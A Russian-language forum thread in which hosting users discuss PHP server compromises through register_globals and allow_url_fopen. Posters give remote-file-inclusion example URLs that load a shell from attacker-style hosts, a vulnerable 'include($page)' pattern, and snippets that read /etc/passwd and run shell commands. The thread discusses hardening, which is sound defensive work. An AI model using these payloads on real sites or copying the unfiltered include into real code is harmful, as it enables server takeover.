Ломают сервер

Теперь понятно откуда ноги растут, система то не переписывает глобальные, а этот скрипт переписывает)) Тогда такое преобразование будет более менее безопасным..

foreach ($_GET as $v => $e) {$v=strtolower($v); $$v=$e;}

PS> с rg on можно очень даже неплохо писать, дело привычки ;)

а если еще и инициализировать только нужные переменные, то вообще будет счастье.

а остальные переменные просто "не переписывать".

но ,как я замечал не раз, программисты в большой своей массе, на это забивают :-\

по-моему все гораздо проще чем здесь описано.

отключите register_globals в настройках PHP.

Именно она отвечает за создание в скрипте переменных из гет-запросов. Если она установленна в Off, То все, что прописано в гете будет доступно только через $_GET или $_REQUEST

Проверить мое предположение вы можете просто.

вызовите вашсайт/index.php?varname=hui

а в index.php первой строчкой поставьте die($varname);

Если увидите тот самый Эйч-Ю-Ай - значит дело в этом.

Ну если конечно в ваших скриптах там эмуляция.... то да, это тяжелый случай.

на пару месаджей выше уже написали, что "да, ручками"

так что случай тяжелый. лечить программиста на предмет проверять переменые перед использованием, не "переиничивать" лишнее. других вариантов нету

тут дело привычки, и так и так можно писать безопасно, вспомним пхп3.. в то время все скрипты писались с rg on .. хотя у этого rg on может много чего боком вылазить, например как в данном случае )

allow_url_fopen off

Я удивляюсь, около 70% хостинговых серверов потенциально опасные для всех, и для себя. Програмистам надо руки поотрубать от плечей за:

<?php include("http://example.com/includes/example_include.php"); ?>

В место того чтоб изпользовать:

<?php include($_SERVER['DOCUMENT_ROOT']."/includes/example_include.php"); ?>

Результат такой безмозглости:

http://example.com/index.php?page=http://crackme.net/evilscript.txt

Что за бред?

в строке

<?php include("http://example.com/includes/example_include.php"); ?>

нет никаких переменных, какой ещё page ?

Оказывается ещё и читать не умеем.... Так что мы програмируем? Дырки для хакеров школьников 😆

Анализ взломов показал что основные способы взлома акаунтов/серверов, это пароли на акаунтах типа qwerty (также перехват), грубые ошибки програмеров. Дальше заливается шел и сервер работает не на арендатора, а на взломщиков. Также этому делу помогают дыры, которые типично открыты у большинства хостингов.

Два банальные теста:

<?php

 readfile('/etc/passwd');

?>

<?php

$output = shell_exec('ls /home/');

echo "<pre>$output</pre>";

?>

Не говорю про те случаи, когда меняется бинарики ssh, ls, ps, rm и других привычных тулсов. Ставится снифер и тп.

allow_url_fopen это огромная дыра безопасности, это API хакеру 😂 "register_globals on" это цветочки....

Открывать allow_url_fopen, можно в том случае, если сажать каждого пользователя в "jail" по всем правилам, но это сложно и теряется производительность. В "jail"e. пользователь будет опасен только сам себе. Но тогда будет плакать, что он спам не отсылал, а его выгнали.

Хостёр виновать, он должен заботится о безопасности и другие песни пется 😂 Но когда хостёр заботится о безопасности, тогда песня другая "он тупой, вредный и тп" ;)

LineHost добавил 20.11.2008 в 23:47

Да, там тупой и злой админ :)

Кончай ерунду писать. Здесь нет уязвимости.

Уязвимости там нет, но почему то программист надеится на то что allow_url_fopen включен..

Вот такое встречается часто:

example.com/?page=index

а напишем ка мы так:

example.com/?page=http://hack.ru/shell

А вот он програмер который незнает что включена нами почитаемая опция, да и вообще не знает что такое возможно, да и к тому же не фильтрирует переменную page:

<?

...

include("$page.php");

Воаля:

include("http://hack.ru/shell.php");

ТС использует помоему очень плохой скрипт + к тому же на плохом хостинге)